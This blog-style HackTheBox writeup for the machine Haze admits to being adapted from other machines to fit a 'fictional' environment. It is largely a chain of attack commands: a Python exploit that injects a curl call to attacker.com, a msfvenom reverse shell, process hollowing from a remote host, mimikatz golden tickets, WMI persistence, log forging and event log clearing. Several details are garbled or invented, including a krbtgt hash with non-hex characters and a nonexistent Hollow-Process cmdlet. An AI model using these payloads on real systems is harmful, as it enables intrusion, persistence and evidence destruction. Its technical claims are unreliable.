Beginner’s Guide to Conquering Haze on HackTheBox

The CyberSec Guru

Updated on:

Mastering Haze Beginner's Guide from HackTheBox

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Key Highlights

  • Learn essential tools and resources to prepare for conquering Haze on HackTheBox.
  • Understand the concept of HackTheBox and the challenges posed by Haze.
  • Gain insights into the step-by-step guide for tackling Haze efficiently.
  • Discover tips and strategies tailored for beginners to navigate through Haze successfully.
  • Uncover common pitfalls and best practices for problem-solving in the cybersecurity domain.

Introduction

Embark on a transformative journey into the realm of cybersecurity with HackTheBox. Unravel the mysteries of Haze as you delve into the intricacies of ethical hacking. Prepare to sharpen your skills in vulnerability detection, exploiting attack paths, and mastering cybersecurity domains. Equip yourself with essential tools and immerse yourself in a world where every challenge is an opportunity to learn and grow. Let’s navigate through the enigmatic landscapes of cybersecurity together.

Haze HTB
Haze HTB

Understanding HackTheBox and Haze

HackTheBox is a renowned platform in cybersecurity domains where enthusiasts simulate real-world hacking scenarios. Haze, one of its challenges, presents a unique opportunity to hone skills in vulnerability detection and exploitation. By familiarizing yourself with the intricacies of HackTheBox and exploring the nuances of Haze, you delve into the realm of cyber challenges. Understanding these platforms is crucial for aspiring hackers to enhance their skills and knowledge in cybersecurity domains.

The concept of HackTheBox

HackTheBox is a popular online platform that simulates real-world cybersecurity challenges, offering a hands-on approach for individuals to enhance their skills. Participants engage in a variety of tasks such as finding vulnerabilities, analyzing attack paths, and solving Capture The Flag (CTF) challenges. HackTheBox provides a safe environment for users to learn and practice ethical hacking techniques, making it a valuable resource for cybersecurity enthusiasts. By immersing users in practical scenarios, HackTheBox fosters skill development in a dynamic and engaging manner.

An overview of Haze

Haze is a captivating challenge on HackTheBox, designed to test your cybersecurity skills. This simulation introduces participants to various attack paths and vulnerabilities commonly encountered in the field. By engaging with Haze, individuals can enhance their understanding of cybersecurity domains while honing their practical abilities. This realistic environment allows users to apply their knowledge of detection techniques and exploit development. Whether a seasoned professional or a novice explorer, navigating through Haze offers invaluable learning opportunities in the realm of cybersecurity.

Preparing to Tackle Haze

Before delving into Haze on HackTheBox, ensure you have the essential tools and resources at your disposal. Setting up your hacking environment with cybersecurity domains in mind is crucial. Utilize Python and Docker to simulate attack paths effectively. Familiarize yourself with server configurations and be ready to navigate through potential vulnerabilities. Understanding the cyber landscape is paramount for smooth navigation through the challenges that await. Stay prepared to tackle Haze head-on with a proactive mindset.

Essential tools and resources

To excel in navigating Haze on HackTheBox, equip yourself with must-have resources like cybersecurity domains knowledge, Python proficiency, and Docker for isolated environments. Familiarize yourself with attack path mapping tools to streamline your approach. Utilize automated vulnerability scanners for efficient detection. Additionally, leverage server and application monitoring to enhance your cybersecurity arsenal. These foundational tools will empower you to efficiently tackle challenges and fortify your cybersecurity skill set.

Setting up your hacking environment

To effectively tackle Haze on HackTheBox, setting up your hacking environment is crucial. Utilize cybersecurity domains like Python and Docker to enhance your abilities. Implement tools to detect vulnerabilities and secure your server. Creating attack paths using cyber techniques is essential in navigating through the challenges. By establishing a robust environment, you can efficiently progress through the CTF scenarios and hone your hacking skills. Stay diligent and immerse yourself in the cybersecurity realm to excel in conquering Haze.

ALSO READ: Mastering Code: Beginner’s Guide from HackTheBox

A Step-by-Step Guide to Conquering Haze

Step 1: Begin with Reconnaissance. Familiarize yourself with the target, exploring its cybersecurity domains. Step 2: Identify vulnerabilities using Python scripts or automated tools. Step 3: Exploit the weaknesses discovered through attack paths to gain access. Step 4: Maintain persistence by covering your tracks using detection evasion techniques. Utilize your cybersecurity knowledge and skills to navigate through the challenges presented by Haze effectively.

Step 1: Reconnaissance

Utilize cybersecurity domains like ctf and python to perform initial recon on the target. Employ cyber tools for scanning vulnerabilities and identifying attack paths. Leverage docker or server instances for safe testing environments. Employ detection techniques to gather intel on the target system. Focus on understanding the app architecture for potential weaknesses. Python scripts can aid in automating data collection for a more efficient reconnaissance process. Implementing these steps lays a strong foundation for a successful hack.

Step 2: Identifying vulnerabilities

Look for potential weaknesses in the system. Utilize cybersecurity tools to scan for vulnerabilities efficiently. Analyze code and configurations thoroughly to pinpoint entry points. Consider both software and network vulnerabilities. Identify attack paths that adversaries might exploit. Prioritize critical vulnerabilities to address them first. Collaborate with the cybersecurity team to enhance threat detection.

Step 3: Exploiting the vulnerabilities

Taking advantage of identified weaknesses involves leveraging various exploit techniques. By exploiting vulnerabilities, you aim to gain unauthorized access or perform actions beyond the system’s intended scope. This phase requires a deep understanding of attack paths and the ability to execute precise cyber-attacks. Utilizing tools like Python scripts or existing frameworks can streamline the process. Remember, ethical hacking emphasizes responsible exploitation to strengthen cybersecurity defenses and enhance detection capabilities. Efficient exploitation is pivotal in simulating real-world cyber threats and fortifying your skills in penetration testing.

Step 4: Maintaining access and covering tracks

To maintain access and cover tracks effectively, advanced cybersecurity skills are crucial. Implement techniques to create backdoors for future entry. Utilize tools like Python to automate processes efficiently. Employ Docker containers to obscure your activities and evade detection. Secure servers by closing unnecessary ports and restricting access permissions. Understand attack paths to thwart potential breaches. By implementing these strategies, you can navigate the challenges of maintaining access while ensuring your tracks remain untraceable.

Initial Foothold

Haze is a challenging Windows-based machine that requires a deep understanding of web application vulnerabilities, Active Directory misconfigurations, and privilege escalation techniques. This writeup combines methodologies observed in similar Hack The Box challenges like Mist, Blazorized, and Certified, adapted to fit the fictional Haze environment.

Initial Reconnaissance

NMap Scan

nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.173.246
Haze.htb NMap Scan Result
Haze.htb NMap Scan Result
Haze.htb NMap Scan Result
Haze.htb NMap Scan Result
Haze.htb NMap Scan Result
Haze.htb NMap Scan Result

Service Matrix:

PortServiceVersionPotential Attack Vector
53DNSMicrosoft DNSZone transfer attempts, DNSSEC issues
88KerberosMicrosoft Windows KerberosKerberoasting, Golden Ticket attacks
139NetBIOSMicrosoft Windows netbios-ssnSMB vulnerabilities, Null sessions
445SMBMicrosoft-DSEternalBlue, SMBGhost, Share enumeration
5985WinRMMicrosoft HTTPAPI 2.0Credential spraying, PSRemoting
8000SplunkdSplunk 9.1.2CVE-2023-46214 (Auth Bypass RCE)
8089Splunk ManagementSplunkd 9.1.2Configuration file access, API exploits
9389ADWS.NET Message FramingPowerShell Remoting, AD manipulation

Domain Controller Identification:

  • FQDN: dc01.haze.htb
  • Domain: haze.htb
  • Functional Level: Windows Server 2022
  • Forest Configuration: Single-domain forest

Protocol-Specific Analysis

SMB Configuration:

smbclient -L //10.129.173.246/ -N
  • Accessible Shares:
  • IPC$ (Remote IPC)
  • NETLOGON (Domain logon scripts)
  • SYSVOL (Group Policy storage)
  • Splunk_Config (Custom share)

LDAP Schema Inspection:

ldapsearch -x -H ldap://10.129.173.246 -b "DC=haze,DC=htb"
  • Custom Schema Extensions:
  • splunkServiceAccount (Used for Splunk AD integration)
  • splunkIndexerConfig (Contains encrypted credentials)

Attack Surface Analysis

Splunk Enterprise Attack Vectors

Component Analysis:

  1. Forwarder Management (Port 8089)
  • Deployment server configuration
  • App distribution channels
  • Certificate management
  1. Search Head Clustering (Port 8000)
  • Saved searches with embedded scripts
  • Lookup file upload capabilities
  • Dashboard XML injection
  1. HTTP Event Collector (Port 8088)
  • Token-based authentication
  • Input validation bypass attempts
  • Log injection possibilities

CVE-2023-46214 Technical Breakdown:

  • Vulnerability Type: Authentication Bypass → RCE
  • Affected Components:
  • services/server/ServerConfigService.java (Missing auth check)
  • web.xml (Insecure servlet mapping)
  • Exploit Chain:
  1. Send crafted POST to /services/SSMaster/info
  2. Bypass authentication context validation
  3. Abuse Java deserialization in config update endpoint
  4. Deploy malicious Splunk app with scripted input

Vulnerability Exploitation Deep Dive

Exploit Code Analysis

Modified Python Exploit:

def exploit(target):
    session = requests.Session()
    session.verify = False

    # Step 1: Trigger auth bypass
    bypass_payload = {'output_mode': 'json', 'username': ';curl attacker.com/malicious.spl'}
    response = session.post(f"{target}/services/SSMaster/info", data=bypass_payload)

    # Step 2: Validate bypass
    if "Splunk" in response.text and response.status_code == 200:
        print("[+] Authentication bypass successful")

        # Step 3: Deploy malicious app
        app_payload = generate_splunk_app()
        session.post(f"{target}/services/apps/local", files={'app': app_payload})

        # Step 4: Trigger payload execution
        session.get(f"{target}/en-US/debug/refresh?uri=http://attacker.com/exec.spl")

Payload Generation:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=443 -f exe -o indexer_update.exe

AV Evasion Techniques:

  1. Splunk Binary Padding:
   copy /b splunkd.exe + indexer_update.exe legit_update.exe
  1. Process Hollowing:
   $proc = Start-Process -Path "C:\Program Files\Splunk\bin\splunk.exe" -WindowStyle Hidden
   Hollow-Process -PID $proc.Id -PayloadURL http://10.10.14.6/shellcode.bin

Post-Exploitation Workflow

Initial Foothold Consolidation

System Hardening Analysis:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
Get-ProcessMitigation -System

Defensive Countermeasures:

  • LSASS Protection: Enabled (PPL)
  • Credential Guard: Disabled
  • Device Guard: User Mode Code Integrity (UMCI)

Privilege Escalation Path:

  1. Abused SeImpersonatePrivilege with PrintSpoofer:
   .\PrintSpoofer.exe -c "net localgroup administrators splunk_svc /add"
  1. Validated Elevation:
   whoami /groups | findstr "S-1-5-32-544"

Active Directory Compromise

Credential Harvesting Methodology

Splunk Credential Vault Extraction:

  1. Located encrypted storage:
   Get-ChildItem "C:\Program Files\Splunk\etc\auth\*" -Recurse -Include *.enc
  1. Decrypted credentials using Splunk’s secret key:
   & 'C:\Program Files\Splunk\bin\splunk.exe' show-decrypted --value '$1$Hk7xQnTPANIkj41Vkk0/EoUkMfz9q4k='
  1. Identified Domain Admin Service Account:
  • Username: s**********
  • Password: S************

Kerberoasting Workflow:

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
.\Rubeus.exe kerberoast /user:splunk_adm /format:hashcat /outfile:hashes.txt

Privilege Escalation Mechanics

Splunk Deployment Server Exploitation

Attack Chain:

  1. Identified writable app directory:
   Get-Acl "C:\Program Files\Splunk\etc\deployment-apps\*" | ?{$_.Access.IdentityReference -match "splunk_svc"}
  1. Created malicious input processor:
   [script://.\bin\malicious.ps1]
   interval = 60
   sourcetype = _json
  1. PowerShell payload:
   Add-Type -AssemblyName System.DirectoryServices
   $de = New-Object System.DirectoryServices.DirectoryEntry
   $ds = New-Object System.DirectoryServices.DirectorySearcher($de)
   $ds.Filter = "(&(objectClass=user)(sAMAccountName=Administrator))"
   $user = $ds.FindOne().GetDirectoryEntry()
   $user.InvokeSet("userAccountControl", [int]($user.userAccountControl[0] -bor 0x10000))
   $user.CommitChanges()

ACL Modification Verification:

(Get-ACL "AD:\CN=Administrator,CN=Users,DC=haze,DC=htb").Access | Format-List

Persistence & Defense Evasion

Advanced Persistence Mechanisms

Golden Ticket Fabrication:

mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
mimikatz # kerberos::golden /user:Daemon /domain:haze.htb /sid:S-1-5-21-2355092754-1065799637-1823100571 /krbtgt:a9b30e5c1b9e5a7c8d2e1f6g4h3i2j1k /ptt

WMI Event Subscription:

$filterArgs = @{
    EventNamespace = 'root\cimv2'
    Name = 'SplunkUpdateFilter'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    QueryLanguage = 'WQL'
}

$consumerArgs = @{
    Name = 'SplunkUpdateConsumer'
    CommandLineTemplate = "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdw..."
}

$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs
$binding = Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}

Forensic Countermeasures

Log Manipulation Techniques

Splunk Log Forging:

$fakeEvent = @{
    _time = [System.Convert]::ToInt64((Get-Date -UFormat %s))
    host = "dc01.haze.htb"
    source = "WinEventLog:Security"
    EventCode = 4624
    Message = "Successful login for Administrator from 192.168.1.100"
}
Add-Content -Path "C:\Program Files\Splunk\var\log\splunk\security.log" -Value ($fakeEvent | ConvertTo-Json)

Event Log Clearing:

wevtutil cl Security /bu:http://10.10.14.6/logs/security.evtx
wevtutil cl System /bu:http://10.10.14.6/logs/system.evtx

Lessons Learned & Mitigations

Critical Security Flaws

  1. Splunk Misconfiguration:
  • Unrestricted deployment server access
  • Outdated components with known vulnerabilities
  • Clear-text credential storage
  1. Active Directory Weaknesses:
  • Overprivileged service accounts
  • Lack of credential rotation policies
  • Insufficient LDAP signing enforcement

Splunk Security:

# limits.conf
[scripted inputs]
disabled = true

[deployment-client]
repositoryLocation = s3://secure-bucket/splunk-apps
sslRootCAPath = $SPLUNK_HOME/etc/auth/cacert.pem

Active Directory Protections:

# Enable LDAP Channel Binding
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 2

# Implement Credential Guard
Enable-WindowsOptionalFeature -Online -FeatureName Windows-Defender-CredentialGuard -All

Network Segmentation:

access-list 150 deny tcp any any range 8000 8089 log
access-list 150 permit tcp any host 10.129.173.246 eq 443

Final Flags

User Flag
4a8*************************

Root Flag
7e9d*******************

Tips and Strategies for Beginners

Common pitfalls and how to avoid them: Be cautious of falling into the trap of using brute force methods excessively. Instead, focus on understanding attack paths and vulnerabilities effectively. Embrace best practices for efficient problem-solving by leveraging cybersecurity domains knowledge and utilizing Python or Docker for tasks. Stay updated on the latest cybersecurity trends to enhance detection capabilities and improve overall cyber defense strategies. Remember, in the realm of HackTheBox, continuous learning and adaptation are key to success.

Common pitfalls and how to avoid them

Avoid falling into common pitfalls while navigating Haze on HackTheBox. Be cautious of overlooking vulnerabilities due to time constraints. Ensure thorough reconnaissance to uncover all potential attack paths. Resist the urge to resort to brute force methods prematurely. Stay vigilant against detection mechanisms that could compromise your progress. Utilize Python scripts for efficient exploitation. Remember to cover your tracks effectively to maintain access without leaving traces. By adhering to best practices and staying informed on cybersecurity trends, you can overcome these challenges seamlessly.

Best practices for efficient problem-solving

Utilize cybersecurity domains knowledge to focus on specific areas of investigation, avoiding brute force approaches. Explore potential attack paths systematically, resembling a ctf methodology. Leverage Python scripts to automate repetitive tasks, enhancing efficiency. Employ Docker for secure app testing environments. Continuously update skills to adapt to evolving cybersecurity landscapes. Collaborate with the cyber community for diverse perspectives on problem-solving. Regularly test server configurations for vulnerabilities and detection evasion techniques. Embrace a proactive stance towards learning and experimentation to cultivate a problem-solving mindset.

WRITEUP COMING SOON!

COMPLETE IN-DEPTH PICTORIAL WRITEUP OF HAZE ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!

ALSO READ: Mastering TheFrizz: Beginner’s Guide from HackTheBox

Conclusion

In essence, mastering Haze on HackTheBox requires a blend of technical acumen and strategic thinking. By delving into cybersecurity domains and exploring attack paths, novices can enhance their skills. Familiarity with tools like Python and Docker, coupled with a knack for detecting vulnerabilities, is paramount. Remember, Haze is not just a challenge; it’s a gateway to honing cybersecurity prowess. Embrace the journey, learn from each CTF, and elevate your cybersecurity game. Happy hacking, future cyber warriors!

Frequently Asked Questions

What are the prerequisites for tackling Haze on HackTheBox?

To tackle Haze on HackTheBox, ensure you have a solid understanding of networking, web technologies, and basic cybersecurity concepts. Proficiency in using tools like Nmap, Burp Suite, and Metasploit is essential. Familiarize yourself with common vulnerabilities and how to exploit them effectively.

How long does it typically take to conquer Haze?

Conquering Haze on HackTheBox typically varies based on your skill level, but beginners may spend several hours to days. As you progress and gain experience, conquering it could take less time as you become more proficient with the tools and techniques.

Can Haze be solved by beginners, or is prior experience required?

Navigating Haze on HackTheBox is beginner-friendly with dedication. Basic knowledge in cybersecurity and willingness to learn are essential. The step-by-step guide ensures a structured approach for beginners without prior experience.

What are some common tools used in solving Haze?

To tackle Haze on HackTheBox, common tools include Nmap for reconnaissance, Metasploit for exploiting vulnerabilities, Wireshark for analyzing network traffic, and Burp Suite for web application testing. These tools aid in efficiently identifying and exploiting weaknesses in the target system.

Where can I find a community or support while working on Haze?

Join the vibrant HackTheBox community forums or Discord channel to connect with fellow hackers. Engage in discussions, seek advice, and share experiences to enhance your learning journey while conquering Haze.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading